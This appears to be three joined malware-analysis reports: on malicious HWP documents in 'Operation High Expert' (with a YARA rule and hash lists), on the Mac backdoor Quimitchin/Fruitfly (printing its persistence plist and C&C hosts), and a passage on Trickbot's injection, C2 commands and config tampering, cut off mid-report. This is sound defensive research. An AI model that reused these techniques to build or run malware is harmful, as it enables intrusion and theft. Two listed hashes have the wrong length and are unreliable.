HWP files use the Microsoft compound file format specification. This means they are made up of various streams. For the samples analyzed here, two types of streams are very important to analyze: "HwpSummaryInformation" and "BinData". The purpose of the former is to store metadata about the document and can include information about the title and author of the document. Starting with one HWP document, the stream that contains the string "HighExpert" as extracted by Cerbero Profiler is significant. According to an ESTsecurity blog, this string appears in a variety of samples in a campaign dubbed "Operation High Expert". As shown below, this string appears in more than one location in a variety of samples related to this one.
The Hwp Summary Information (HSI) stream is derived from the specifications for the Document Summary Information stream seen in other types of compound files. Therefore, rather than writing YARA rules that detect text strings, one needs to use hexadecimal strings that include the structure of the HSI property in addition to the string. The rule starts with the text string "HighExpert" in wide ASCII: Prepended to these bytes are two components of the HSI property: `1F 00 00 00` and `0B 00 00 00`. The former signifies the start of the property record. The latter is the character length of the property data plus one trailing null byte terminator. In the example here, the string "HighExpert" has 10 characters and `0x0B` is 11 in decimal. The resulting YARA rule is shown below.
Using this rule, 11 other HWP files are identified. These files are shown in the Titanium Platform. However, these are not a complete picture of all the malicious HWP files that are used to deliver the same payload as the one we started with. To find more, a wider net must be cast. To find those additional files, we start with all the HWP documents in the Titanium Platform file lake that are detected as malicious and search among them for files with the same structure as the ones we just identified. From the list of files above, there are two general types of file. The first type is similar to the sample we started with which has a malicious encapsulated PostScript BinData stream. The second type contains an embedded compound file in a BinData stream that in turn contains the PE executable dropper.
## PostScript Shellcode Loader
The first general type of malicious HWP document is one that contains an encapsulated PostScript BinData stream. The stream is zlib compressed, so the first step is to extract it. Instructions for analysis of these types of HWP files can be found in various resources. Once the encapsulated PostScript (EPS) has been extracted, one can see that there is a large chunk of data encoded as hexadecimal ASCII as well as an XOR key.
Next, one needs to decode the XOR encoded data. This can be done using Ghostscript by replacing the "exec" instruction with a "print" instruction. The resulting output is a shellcode loader with calls to VirtualProtect and ExitProcess highlighted. An alternative method for extracting the shellcode loader is to use CyberChef to convert the data from hexadecimal representation and then apply the XOR key.
In addition to this sample, the other two HWP files analyzed use variants of this same shellcode loader. The latter, in fact, contains the exact same loader and shellcode as the file analyzed. This loader appears to be a template reused in other malicious HWP files that do not deliver the same eventual PE payload as these three.
## Shellcodes
Across these three samples, there are two different shellcodes loaded by the PostScript analyzed above. One of the two shellcodes is very simple with the download URL visible. This shellcode is seen in the hex editor Hex Fiend. The other shellcode is much larger and more complex. It begins with a tiny decoder stub which decodes the rest of the shellcode in place. It additionally contains two URLs that appear to be download URLs, but are in fact decoys that dress the shellcode up to look like others attributed to a different adversary.
So that this shellcode is easier to analyze, it needs to be converted to a full PE executable. One method for making this conversion is detailed in various resources. The output of this conversion shows the new executable's process of extracting the rest of the malicious code.
The next stage is downloaded from a URL hosted on `hpc.kau.kr`. This action is performed by `URLDownloadToFileA`. Once the download is complete, the shellcode executes the file using the WinExec API. This is MITRE ATT&CK technique "Native API" (T1106). This API is executed via a jump rather than a call instruction.
In a lab environment, this shellcode is observed executing the default binary downloaded from Inetsim.
## Droppers
Returning to the set of HighExpert HWP documents, there is a second pattern in addition to the encapsulated PostScript stream with the shellcode loader seen above. This second pattern is a pure dropper. The first stage PE executable is nested inside a second compound file which is located in another BinData stream.
Going one more layer deep, this compound file is not very complex, but it does contain a path that includes a user directory name in DOS short name format. The full directory name is almost certainly "HighExpert".
All of the droppers have a similar execution pattern. One example of this pattern from the embedded PE shown above can be seen in the execution graph.
## Cast a Wide Net
With the malicious HWP files enumerated, the next step is to find more droppers, downloaders, and payloads that are potentially related to the ones found during HWP analysis. One avenue of inquiry is to find files that call out to the same infrastructure as the known samples. Another is to look at files that share one or more AV detection names.
Once a wide enough net has been cast, the resulting file set must be whittled down to just the files that have similar behavior or structure to the ones analyzed above. The first step is to send all the samples to a sandbox to observe the dynamic behavior. Fortunately, this can be done automatically in the Titanium Platform in the Cuckoo Sandbox feature. Some of the files from this large set have a very similar behavior pattern.
## Structure
Behavioral analysis shows which samples are related, but may not be precisely the same malware. Two variants or revisions of a particular malware may exhibit identical or similar behavior patterns. To really create more accurate groupings, one examines the control flow graphs of the PE executables.
Using this same process on the droppers and downloaders, sets of similar control flow are grouped together.
## Programming Errors
During dynamic analysis of the set of droppers, downloaders, and payloads, a specific, repeated programming error is observed within one set of droppers that all share similar control flow and execution graphs. The very first string that the malware decodes is treated like a download URL and is used as a call parameter to the `InternetOpenUrlA` function.
The file above which has a URL fragment rather than a full URL also is observed to drop a payload that is not in the group according to control flow.
## Evolution of String Obfuscation
Examining control flow is a decent method for differentiating among samples at a macro level, but one must also dig down to the code level to see what other similarities and differences can be found. As a rule of thumb, loops and code that obfuscates or decodes adversary strings are excellent locations to focus on.
With this in mind, there are two basic patterns that can be seen in the groups of samples. Looking first at the group of samples that include the payloads from the HWP files analyzed above, a two-stage decoding and deobfuscation process is observed.
A very similar process is used in payloads from control flow group 2 and 3, but it is a single XOR step applied to chunks of data rather than character by character.
## Conclusion
According to the September 2020 Microsoft Digital Defense Report regarding nation state threats, "the most frequently targeted sector has been non-governmental organizations (NGOs), such as advocacy groups, human rights organizations, nonprofit organizations, and think tanks focused on public policy, international affairs, or security." This may explain why malware families such as the one analyzed above do not garner as much focus in the media today as do ransomware or attacks targeting critical infrastructure. However, these attacks are very important. Hopefully, the processes shown above can assist in enumerating and categorizing samples from this type of attack with the goal of detecting and preventing future attacks.
## Campaign Indicators
### HWP Documents (Droppers)
- 73069aa5890b22b79e03ef7bd86ce15e2a26270fc011f27ed3eb15b329bd9b97
- 11c1d41668667220b50ec436f7325af1fffa43a40a1c3a227b69d6ffa98fa97d
- 4b249546ff2cab9ea49a98a10b200f7ebef76a5de116cdf31af31a045e743bfa
- 4c8be817d4de798bb541640894aa153dbf37bb03fd788d04e1461f184c631cf7
- f3e65b66e03fcd15e00e67a0f756ec9fdc95cfe111e7bc4ce6cc176525836e49
- 252e9f7856f221338ade8756849871d009b53e7f624bbbac879b8346cd657b02
- 656d0dc4e7d1da530397b7b140559ea404ba66f6d9694f72a553f0255f13fb0b
- 99a6b3b15f0e805a5ae98048dea41d5ed9c94e2de1500d7d8250e4ce36deb8b1
- 24983121690aaf2e648a9e19860e9e55f3105aa8f1b0549f2ab239b25c97022b
- 65e821470779cd13297a6ecdfd6a263ee0bec5acf1b3a80d8f2f3946e7d33329
- 80f566efbdceac356a09e3e97e128966e773db43b3a81c460ca35747445ef17b
- d2fe12893b35d775830aa0ef25a81748d6a669188709303aa404405c466f9fff
- 7ac5311e3f81ea20951b19b9315e26923f2b340b67322e29f439f120898d4f16
- 6f1881c6809982ce9de4dac20ce6cbcc9aa8841db6f81df37f815621c1970f85
- 12c5f8c63803403859268f000135dbb9c2c104d480705819447464c5439f6efa
- 2cc52400575174c0eb132e349c26a7ea0e5ec673fa504d12f9089a9039bbd703
- 3c0024f6066376415acdb01d55e0b332ce462ef2ca065d5d3843686e5e140c71
### HWP Documents (Downloaders)
- ea91f1e475ab4eb54971a0e7adbd61d690136abf1b2ab76b94a246515f65b9a3
- 6f111be4a0cb4f033639f906f512b7feb1632630bec58285c9cd5969ae8a6ff3
- aa461e70ab464a503d1e647e693df7ececfff86d497ee0c57c9448302878a05a
- 942baec89b2474f41fa6c7b1bc085ac5c62c97fc1cadd56e4d3d6ff7b45e436839
### Executables (Downloaders)
- 0a960dd9c015545c2fe4d4f39bae6f9e7af1afb1933900f105c5ae9ec51a446d
### Executables (Droppers)
- ec8cf2570f869c897ca9d898279d10b9c3b137eb4db6b7d68c7f524dc5332af9
- 1958b75e2ef787fdb9938053f117da9ba9866509000af547e700dfb6a806d721
- d6a0444a111227650902c5b1229347824e0317b7842f085b826787d1e9ea5165
- 836df87c3a87d8308075edb7aaec3ed13502ecefe0b7136791246295c459fa41
- 87ebae83d90f49d5232266d5c27ac3be2fcf7e692332a235045cf8075c1b3b91
### Executables (Payloads)
- 6882ba20ca9e7c34897123931488007741987eb805f40b13f23ed1a221d21c5e
- 6a36a82767ba11ce6f313c0895da41d8dcf373b18b9efa0639e8fd76d639c987
- ad3fada660f40b5d3ce2c6187dffc07507e7461a3d3ac249fbb6850e6028d517
- 9e2d374bfc9e099d376f5255f194608dcedbba68ac16611ed3eb8fdc1e030586
- 90f0582453f49d3b38da03b289d0ffcad4f691ab89f6acb922511e081d472667
- d074bbb7d821a58edfcf5fb20b6d632357779bd6554d9033b11859fc95262650
- fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c
### Outgroup Indicators
#### Executables (Droppers)
- 0455e0788715ba74503ce23784de9d9839ce80418ed8abac758f18983feeec8e
- a1a4cc7ff9c58c07fb3cbd1799809ccd2ca46f961c6baf9eb5d2f847eb5dae3c
- f9f95afaecc0b3ee6cb0828f9fb9c8af0e025e06e66bc85fb1a34d1520306b33
- ce5cbdc387a4b988b8ed3caacc4ac2414e80258d2ee9b7889d6064c4cb436a23
- f5e1ced1f2c52980ce54a50212b5bc89eaa5870078a5b12e1c738857052c8978
#### Executables (Payloads)
- a201ae69d8c84d1c95f87dced704a38ad4e131c7e36d60b88ff859ba3bf7aab1
- e452536f98446f54c6527106c7b123de12f010d3f1fcb25812f533d797253128
- 142f8cd20af1065eed8685056977b16f3e3b3c6da877abdd244f1519cd4b3b32
- d057088d0de3d920ea0939217c756274018b6e89cbfc74f66f50a9d27a384b09
#### Executables (Payloads)
- 7a3ab8b865f9581806f259d8a165ad7517294e9d576792d293d2be6922548047
- f007369641e5eed5f575bfe57ebea68132a6963793a3fda520f31b4870b1cab6
- c9d1c5bab22f16cb06a9ca9209710c2f92a250903c2119750c220bfb8aaff348
- 9fe2c4af5b7a80ae8d714908db4039cc3eafb4ca122e331a7b397aef41f6752f
- 2fa25c729c8cf1a0e4b7ce71d1840837013682dc704c1ddccc385a3960868ac9
- c73ff2398ee0a564830508f1766cdbb2662037593db669d2fa1bc74af93525ed
- d88596be0e998340e12c885645bbca7a57f0d80110a312b71bb6f2df443c7b0
- 9f01dd87c28a9789a7730c6675995527cd5c2fdfd5b539d84b027e1107121a2c
- 2c1d693401930b455759fe8ab580d3ca7c47c574a1c67cabdfbe91fd01377f13
## YARA Rules
```yara
rule HighExpert_HWP_HSIProp {
meta:
author = "Malware Utkonos"
date = "2020-08-24"
description = "HWP summary information property entry in malicious Hangul Word Processor document: Operation High Expert."
strings:
$a = { 1F 00 00 00 0B 00 00 00 48 00 69 00 67 00 68 00 45 00 78 00 70 00 65 00 72 00 74 00 }
condition:
uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1 and $a
}
```
## References
1. Hangul (word processor)
2. VirusBulletin talk "DOKKAEBI: Documents of Korean and Evil Binary"
3. Malpedia entry for PoorWeb
4. Sample hash
5. Sample hash
6. Sample hash
7. Cerbero Profiler
8. ESTsecurity blog
9. Microsoft compound file format documentation
10. Analyzing malicious HWP documents
11. Debugging PostScript with Ghostscript
12. CyberChef
13. Sample hash
14. Sample hash
15. Sample hash
16. ESTsecurity analysis
17. Sample hash
18. Download URL
19. Hex Fiend
20. ESTsecurity blog
21. ESTsecurity blog
22. Converting shellcode to PE executable
23. Download URL
24. URLDownloadToFileA documentation
25. MITRE ATT&CK technique "Native API"
26. Inetsim
27. Sample hash
28. Download URL
29. Sample hash
30. Behavioral analysis example
31. radare2
32. Cutter
33. InternetOpenUrlA documentation
34. Sample hash
35. Sample hash
36. Sample hash
37. Microsoft Digital Defense Report
38. Grouping of indicators based on payloads
39. OSINT association
40. Structurally different file
41. Ibid. |
# New Mac Backdoor Using Antiquated Code
Thomas Reed
January 18, 2017
The first Mac malware of 2017 was brought to my attention by an IT admin, who spotted some strange outgoing network traffic from a particular Mac. This led to the discovery of a piece of malware unlike anything I’ve seen before, which appears to have actually been in existence, undetected, for some time, and which seems to be targeting biomedical research centers.
The malware was extremely simplistic on the surface, consisting of only two files:
- `~/.client`
SHA256: ce07d208a2d89b4e0134f5282d9df580960d5c81412965a6d1a0786b27e7f044
- `~/Library/LaunchAgents/com.client.client.plist`
SHA256: 83b712ec6b0b2d093d75c4553c66b95a3d1a1ca43e01c5e47aae49effce31ee3
The launch agent .plist file itself couldn’t have been much simpler, simply keeping the .client running at all times.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.client.client</string>
<key>ProgramArguments</key>
<array>
<string>/Users/xxxx/.client</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>NSUIElement</key>
<string>1</string>
</dict>
</plist>
```
The .client file was where things got really interesting. It took the form of a minified and obfuscated perl script. The perl script, among other things, communicates with the following command and control (C&C) servers:
- 99.153.29.240
- eidk.hopto.org
The latter is a domain name managed by the dynamic DNS service no-ip.com. The script also includes some code for taking screen captures via shell commands. Interestingly, it has code to do this both using the Mac “screencapture” command and the Linux “xwd” command. It also has code to get the system’s uptime, using the Mac “uptime” command or the Linux “cat /proc/uptime” command.
The most interesting part of the script can be found in the `__DATA__` section at the end. Found there are a Mach-O binary, a second perl script, and a Java class, which the script extracts, writes to the `/tmp/` folder, and executes. In the case of the Java class file, it is run with `apple.awt.UIElement` set to true, which means that it does not show up in the Dock.
The binary itself seems primarily interested in screen captures and webcam access, but interestingly, it uses some truly antique system calls for those purposes, such as:
- SGGetChannelDeviceList
- SGSetChannelDevice
- SGSetChannelDeviceInput
- SGInitialize
- SGSetDataRef
- SGNewChannel
- QTNewGWorld
- SGSetGWorld
- SGSetChannelBounds
- SGSetChannelUsage
- SGSetDataProc
- SGStartRecord
- SGGetChannelSampleDescription
These are some truly ancient functions, as far as the tech world is concerned, dating back to pre-OS X days. In addition, the binary also includes the open source libjpeg code, which was last updated in 1998.
The Java class appears to be capable of receiving commands to do various tasks, which include yet another method of capturing the screen, getting the screen size and mouse cursor position, changing the mouse position, simulating mouse clicks, and simulating key presses. This component appears to be intended to provide a kind of rudimentary remote control functionality.
We also observed the malware downloading a perl script, named “macsvc”, from the C&C server. This script uses mDNS to build a map of all the other devices on the local network, giving information about each device including its IPv6 and IPv4 addresses, name on the network, and the port that is in use. It also appears to be making connection attempts to devices it finds on the network.
- macsvc SHA256: b556c04c768d57af104716386fe4f23b01aa9d707cbc60385895e2b4fc08c9b0
Another file downloaded from the C&C server was named “afpscan”, and it seems to try to connect to other devices on the network.
- afpscan SHA256: bbbf73741078d1e74ab7281189b13f13b50308cf03d3df34bc9f6a90065a4a55
The presence of Linux shell commands in the original script led us to try running this malware on a Linux machine, where we found that – with the exception of the Mach-O binary – everything ran just fine. This suggests that there may be a variant of this malware that is expressly designed to run on Linux, perhaps even with a Linux executable in place of the Mach-O executable. However, we have not found such a sample.
We were able to locate a couple Windows executable files on VirusTotal that communicate with the same C&C server. In addition, one contains strings that indicate that it uses the same libjpeg library from 1998 as the Mac Mach-O binary. Each of these samples were only ever submitted to VirusTotal once, in June and July of 2013, and are only detected by a few engines under generic names.
- SHA256: 94cc470c0fdd60570e58682aa7619d665eb710e3407d1f9685b7b00bf26f9647
- SHA256: 694b15d69264062e82d43e8ddb4a5efe4435574f8d91e29523c4298894b70c26
There are other indications that this malware has been circulating undetected for a long time. On one of the infected Macs, the launch agent file had a creation date in January of 2015. That’s not strong evidence of the true creation date, though, as those dates can easily be changed.
Further, there is a comment in the code in the macsvc file that indicates that a change was made for Yosemite (Mac OS X 10.10), which was released in October of 2014. This suggests that the malware has been around at least some time prior to Yosemite’s release.
```perl
if(/_(tcp|udp)\S*\s+(_\S+)$/){ $s="$2._$1"; }
elsif(/icloud\.com\.\s+(_[^\.]+\._(tcp|udp))\.\d+\.members\.btmm$/) { $s=$1; } # changed in yosemite
elsif(/icloud\.com\.\s+\.\s+_autotunnel6$/){ next; }
```
Another clue, of course, is the age of some of the code, which could potentially suggest that this malware goes back decades. However, we shouldn’t take the age of the code as too strong an indication of the age of the malware. This could also signify that the hackers behind it really don’t know the Mac very well and were relying on old documentation. It could also be that they’re using old system calls to avoid triggering any kind of behavioral detections that might be expecting more recent code.
Ironically, despite the age and sophistication of this malware, it uses the same old unsophisticated technique for persistence that so many other pieces of Mac malware do: a hidden file and a launch agent. This makes it easy to spot, given any reason to look at the infected machine closely (such as unusual network traffic). It also makes it easy to detect and easy to remove.
The only reason I can think of that this malware hasn’t been spotted before now is that it is being used in very tightly targeted attacks, limiting its exposure. There have been a number of stories over the past few years about Chinese and Russian hackers targeting and stealing US and European scientific research. Although there is no evidence at this point linking this malware to a specific group, the fact that it’s been seen specifically at biomedical research institutions certainly seems like it could be the result of exactly that kind of espionage.
Malwarebytes will detect this malware as `OSX.Backdoor.Quimitchin`. (Why the name? Because the quimitchin were Aztec spies who would infiltrate other tribes. Given the “ancient” code, we thought the name fitting.) Apple calls this malware `Fruitfly` and has released an update that will be automatically downloaded behind the scenes to protect against future infections. |
# INNOVATION IN PROCESSES
## MALWARE REPORT
### Evolution of Trickbot
#### REPORT 06/2017
## 1. INTRODUCTION
This document contains a review of the latest versions of a Trojan family known as “Trickbot/TrickLoader”. It is a bank-type Trojan that steals credentials and bank details from infected users. Although its main objective and behavior are focused on online banking users, being a modular Trojan, it has capabilities that attackers could use for other purposes, such as document exfiltration.
You can find a lot of documentation regarding the logic and origins of this malware; part of this report is based on information from some of them in order to contrast it with the logic of the latest versions and to be able to observe its evolution and new functionalities. All sources for which information has been obtained can be found in the references section.
It should be noted that the report starts with and relies mainly on the analyses carried out by @hasherezade and by Xiaopeng Zhang (Fortinet). Based on these analyses, an attempt was made to compare whether in the last versions some aspect had changed and to deepen in the mechanisms not described until the moment.
In summary, Trickbot has the following capabilities:
- It loads the code into the system
- It creates a replica of itself in the %APPDATA%
- It applies persistence techniques
- It collects sensitive information
- It injects code into other applications to control the information they handle
- It exfiltrates the information you get to your Command and Control server
During the completion of this report, the S2 Grupo Malware Laboratory worked with the samples that match the following MD5 hashes:
- 1000005_Trickbot_Loader.exe a50c5c844578e563b402daf19289f71f
- 1000005_Trickbot_bot32.exe 28661ea73413822c3b5b7de1bef0b246
- 1000010_Trickbot_Loader.exe 218613f0f1d2780f08e754be9e6f8c64
- 1000010_Trickbot_bot32.exe 135e4fa98e2ba7086133690dbd631785
- 1000014_Trickbot_Loader.exe e054eaae756d31a4f6e30cc74b2e51dd
- 1000014_Trickbot_bot32.exe 719578c91b4985d1f955f6adb688314f
- 1000016_Trickbot_Loader.exe 132c4338cdc46a0a286abf574d68e2e0
- 1000016_Trickbot_bot32.exe e8e7b0a8f274cad7bdaedd5a91b5164d
As you can see, four different versions of Trickbot exist. Each one consists of its loader and its final payload for 32-bit systems; although there is also the 64-bit version of all, it was not the subject of the analysis performed.
## 2. INFECTION PROCESS
The main route of infection of this malware occurs through a Word document with macros that arrives attached in an email or through an exploited vulnerability by an ExploitKit. The infection follows this order of execution:
- A Trickbot sample is downloaded from a compromised domain in the %APPDATA% folder and executed.
- It creates a scheduled task on the system that provides persistence.
- It creates two files ("client_id" and "group_tag") in the same directory, one with a unique ID of the infected host and one with the ID of the current infection campaign or version of the configuration.
- It contacts an external IP obtaining domain, among other things to test the connectivity and send it to your command and control servers (C2 from now).
- It contacts one of its C2 servers to get malware updates, modules that perform most of the malware logic, and various configuration files.
- After all this, it begins to execute or inject in different processes its modules that are responsible for collecting information of the system and browsing credentials, especially of online banking.
## 3. TECHNICAL CHARACTERISTICS
The main executable of Trickbot is usually packaged with its own “packer”, which obfuscates the functionality of the executable and prevents generic signatures from being generated from the content itself, seeing that for each version the packer causes the code to vary completely. After unpacking one can see how the number of functions of the executable increases greatly, as it now reflects the functionality of the malicious program.
After the "unpack" the first stage of this malware is obtained, known as "Loader". This executable is responsible for verifying the architecture of the system and depending on whether it is a 32 or 64 bit computer, it loads the "bot" from its resources, corresponding to that architecture. The "bot" is the executable that takes care of the last stage of infection and contains all the basic malware logic.
In the first versions, the resources contained in the Loader were easily recognizable because they had descriptive names, as they identified the two versions of the Bot and a Loader to correctly load the 64-bit. In the latest versions, they began to put non-descriptive names to make it difficult to identify them.
These resources consist of executable files (PE) encrypted with the AES CBC algorithm, so after extracting them they still need to be decrypted or otherwise can be extracted from memory after running the Loader and waiting for it to perform the decryption itself and load them in RAM.
After loading the corresponding bot, it starts executing the main logic of this threat:
- It first checks its location on the system, and if it is not found in %APPDATA%, it copies itself to this location, starts executing its replica in that folder, and ends the current process.
- As a persistence technique, it uses scheduled system tasks rather than registry keys as is often the case in other samples of malware. Previous versions of Trickbot, in all cases created a single programmed task called "bot" and made sure that every minute it was launched to keep running on the system. In the latest versions, if it is executed with administrator permissions in addition to the previously mentioned task, which it has called "Drives update", it creates another one that executes it when any user logs in, called "AplicationsCheckVersion".
Its next action is to check if it has all the configuration files with which it usually works. If it does not find them, it generates them from information obtained in the system and the resources of the bot, which consist of an encrypted configuration file (CONFIG) and a key to verify the signature of the configuration and modules (KEY).
In this case, there have been no changes in the names of these resources to date, although it is likely that in future iterations we will see how they eliminate these names as in the case of Loader resources.
In the first run of Trickbot on the computer generates a file called "client_id" that contains a token or user ID, which identifies the current host. Trickbot obtains its configuration from a file in a disk with the name config.conf or from the resources of its own binary. This configuration will be decrypted, and after decryption, it can be seen that it contains the version of the malware itself, a campaign code or version of the configuration, the addresses of several of its main C2s, and the list of modules that it must download and run automatically from any of its C2s.
It then checks the connectivity by making a request to an external domain that reports the victim's external IP address, this domain comes from a list contained inside the malware and which have been increasing during the different version updates.
If it receives the response it expects from this request, it starts contacting the C2s it has obtained from its configuration to start reporting information on the new victim, check for updates, and receive new modules that expand its capabilities.
In normal configurations, after making certain requests with different commands that report host information to one of the C2s in its configuration, it obtains the IP of a specific server from which it can download new modules through port 447/tcp. All downloads of configurations and modules are encrypted with the same algorithm (AES CBC) and all the files are saved encrypted to the disk. After updating and downloading the configurations and modules that it has in the configuration, it decrypts and maps the first module in the memory of its own process, "systeminfo", which is responsible for collecting information such as OS version, CPU type, the amount of RAM, the users of the system, and the list of installed programs and services.
Then it loads the injectDll32 module together with its configuration files. Once this module is loaded, in case the user visits one of the websites listed in the configuration files, it captures the relevant browsing data and sends them to their C2.
As discussed in the DevCentral report, version 9 of Trickbot, a new module was added to the Trickbot toolset called "mailsearcher". Then in the case of being in the configuration, it will also be loaded into the victim system. The order in which the modules are loaded will depend on the configuration file.
"mailsearcher" is responsible for searching all the files of each disk connected to the system and comparing the extensions of the files with a specific list. This module reports itself to a specific C2 that it obtains from its own configuration. The URI of the request is different from the one used by the "core" of Trickbot, since in this case, it has the structure "[IP]/[group_id]/[client_id]/send/" and uses its own User-Agent "KEFIR!" which makes it much more independent than the other modules found to date.
What is seen in this section describes the actions performed by Trickbot after its first execution. From this moment, Trickbot enters a loop where from time to time it checks if there is a new configuration and if there are new versions of the malware or of some of the modules. In addition, within the same loop, it performs reports with the information it collects.
## 4. MODULE LOADING SYSTEM
During the analysis, it has been observed that Trickbot uses events to control the execution flows between the core and the modules. In addition, the core performs the resolution of the Windows APIs of the modules.
First, it creates a svchost.exe child process suspended with the CreateProcessW function. Later with the CreateEventW function, it creates three events that will be used to manage the waits and communications between the main executable (Trickbot) and the svchost child process. Once it has the handlers of the three events, using VirtualAllocEx and WriteProcessMemory it injects in the suspended svchost process 32 bytes of data.
The first three groups of 4 Bytes represent the identifiers of events that Trickbot previously created and that will use for their communication. The following 5 groups of 4 Bytes represent the offsets in the memory itself of the svchost process, from the following functions of the kernel32.dll library:
- SignalObjectAndWait
- WaitForSingleObject
- CloseHandle
- ExitProcess
- ResetEvent
Using the same injection method, it loads its own function into another offset of the svchost memory that will be used as the intermediary between Trickbot and the module code. This feature is one of the most characteristic details of the Trickbot module management. It is in charge of keeping itself waiting for orders from the main process. These come as offsets from functions within the memory of the svchost process itself and parameters with which to call them. This information is obtained through scripts in its own memory by Trickbot.
Most of its logic consists of a loop that starts and ends in code zones. After the first instructions, in case of detecting a problem with the process, it enters the area that closes the handlers of the events and the process itself. In case everything goes correctly, the zone in which it enters consists of a switch. Depending on the number of parameters needed by the function to call, it enters one of the blank zones.
To manage the wait between the parent and child process, Trickbot uses the events it created before the injections into the process. Using these events, when it reaches the last zone of the loop, it contains two calls that correspond to a ResetEvent that notifies Trickbot that it has reached the end of the loop and a call after SignalObjectAndWait, to which it passes the IDs of two events. This function leaves the process suspended waiting for Trickbot to do a ResetEvent of the event in this case with ID 4, which means that it has loaded the new parameters into the memory for the next iteration of the loop.
Before starting the execution of this process, it injects in the Entry Point of svchost, four lines that redirect the flow of the main thread to the previous function, passing it as a parameter, the 32 bytes of data injected at the beginning. After preparing all that, it calls ResumeThread and the process goes into execution. During the first iterations of the loop, Trickbot maps one of the modules in the process memory, section by section.
In the next iteration, using the data that the parent process has passed to it, it loads all the DLLs required by the newly loaded module with LoadLibrary and the functions of these that it will need with GetProcAddress. Finally, it calls an initialization function of its own module, which writes the "Success" string in one of the memory zones edited by Trickbot, in case everything is correct. From this point, this last iteration is suspended with the call to SignalObjectAndWait, waiting for Trickbot to require, for example, the reporting information of said module.
From the main process side, you can see how it contains a function to call the different functions that export each of its modules. These functions are those that each module exports, since the modules are DLLs and as such they export functions to be used by the core. To date these functions have not been changed in any of the versions and these are Start, Control, Freebuffer, and Release. To make the transfer of information to the module, after passing through the area of the function which it wants to call, it performs a WriteProcessMemory of the data in question and calls ResetEvent for the module to start working.
## 5. NETWORK CONNECTIONS
For communications with its C2s, this malware uses HTTPS requests, which complicates the identification of its traffic by means of tools like NIDS, since that traffic is encrypted. Usually, these communications are done through port 443, although not always, since from the first versions, it began to use port 447 of some specific C2 to download the modules.
A differentiating element of its traffic is its User-Agent, since at first, it identified it perfectly: it used the chain TrickLoader in all its requests. In intermediate versions, it became somewhat less obvious, but maintained an unusual structure and easy to detect, becoming the "Xmaker" chain. In recent versions, as another of the changes clearly aimed at making this malware less detectable, the authors have begun to use a much more generic User Agent.
The requests are formed in such a way that a great amount of the information that reports to C2 goes in the URI, being the majority of these requests of type GET, excepting more extensive shipments of information collected by its modules, that it sends by POST. Among the data that contains the URIs of the requests, you can find the identifier of the current campaign and the user ID that it saves in the two files that it generates along with the executable, in the first stages of its execution. You can also find a number that identifies the order that it is sending to the C2 so that it can differentiate what it is requesting or reporting to it, and later different extra data related to the command in question.
From what we have analyzed and from information obtained from different external analyses, we have created the following table with a summary of the functionality of each order that we identified.
| ID | URI | Description |
|----|-----|-------------|
| 0 | /[group_id]/[client_id]/0/[version de windows]/[idioma del sistema]/[ip externa]/[sha256]/[key de sesión]/ | Report with basic information about the client. |
| 1 | /[group_id]/[client_id]/1/[key de sesión]/ | Keep alive. |
| 5 | /[group_id]/[client_id]/5/[modulo/configuración]/ | Download of a module or configuration of a module. |
| 10 | /[group_id]/[client_id]/10/62/[key de sesión]/1/ | Start of module. |
| 14 | /[group_id]/[client_id]/14/[key de sesión]/[value]/0/ | Report with information on errors, checks, and other information. |
| 23 | /[group_id]/[client_id]/23/[config ver]/ | Base configuration update. |
| 25 | /[group_id]/[client_id]/25/[key de sesión]/ | Bot update. |
| 60 | /[group_id]/[client_id]/60/ | Traffic report captured by the injectDll module. |
| 63 | /[group_id]/[client_id]/63/[module name]/[module command]/[result - base64]/[root tag of output XML]/ | Systeminfo or injectDll Report. |
| 64 | - | Everything points to a command related to the mailsearcher module. What we have seen is that it performs POST requests with multipart content. It aims to be an exfiltration command, but that is still being verified. |
From the Trickbot code, you can see how in one of its functions it contains the switch that is in charge of directing the execution flow that generates these requests depending on the command. Analyzing the same function of one of the most recent versions, we can see how they have added an extra option after the last one, which corresponded to the command with number 63, and which is accessed with a new command number 64. The functions that are executed from passing through this new area of code (command number 64) are very similar to those of the command 63, so it is probably also a command to perform reporting. The appearance of this new command (64) coincides in time with the appearance of the new module "mailsearcher", so everything indicates that these are related.
After the execution of the sample corresponding to version 14 in a controlled environment, we analyzed its traffic flow which shows a good part of the behavior of the execution of this malware.
## 6. ENCRYPTION MECHANISM
In the great work done by malwarebytes (@hasherezade) it is detailed that the encryption algorithm used by Trickbot is AES CBC 256 bits. Also in the same entry on this subject, we are told that the first DWORD is about the size of the data. In addition, @hasherezade offers resources after its research to decipher both the configurations and the modules, which makes it easier to understand Trickbot and its evolution.
Based on this information and visualizing how the content is decrypted, it is easy to perform the reverse process and build a script or modify the one made by hasherezade, to provide us with the ability to encrypt configurations modified by us to more easily manipulate Trickbot execution flows.
To perform this process we can start from a configuration that we get encrypted and with the @hasherezade script we can decrypt it. Once decrypted, we can modify it, as in the following example where we add the local IP address 11.11.11.1:443 (IP of the laboratory environment) and load the module “mailsearcher”. With this, we expect it to use the IP 11.11.11.1:443 as command and control and load the module "mailsearcher" which does not usually come by default.
After modifying it with a hexadecimal editor we would have the following: After the first 8 bytes is when the configuration data starts as such. In these first 8 bytes, it will be where Trickbot will look for the size of the data that will come next. In the case of the example that corresponds to the value 02 00 (in the image it is upside down, 00 02), this would be 0x200 bytes. If we select the dataset we will see that it has just the right size of 0x200 bytes.
Therefore, after modifying the information we must set the first bytes to tell Trickbot the exact size of the data. Then we encrypt with the function we have called aes_encrypt(). With this, we will have a new configuration that will not yet be fully functional. The reason it does not work is because Trickbot, after the encrypted data, places the hash signature of the data. Therefore if we modify the content of the configuration we have to calculate the signature of the data since it verifies it after reading the configuration. To calculate the hash signature of the data that it has just read it uses the KEY that comes in the binary resources.
At this point we have two options: either modify the program execution flow so that the verification process will always tell us that the signature is correct or to replicate the process of signing the hash of the data that Trickbot performs. For simplicity, we have chosen to modify the execution flow of the binary so that it does not need to be properly signed.
## 7. IPC MECHANISM (Inter-Process Communication)
